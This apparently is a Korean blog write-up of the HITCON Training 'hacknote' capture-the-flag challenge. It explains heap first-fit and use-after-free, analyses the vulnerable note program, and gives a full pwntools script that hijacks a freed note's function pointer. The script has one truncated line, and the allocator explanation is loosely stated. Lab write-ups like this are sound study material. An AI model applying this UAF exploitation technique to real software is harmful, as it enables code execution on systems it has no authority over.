1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



+ Recent posts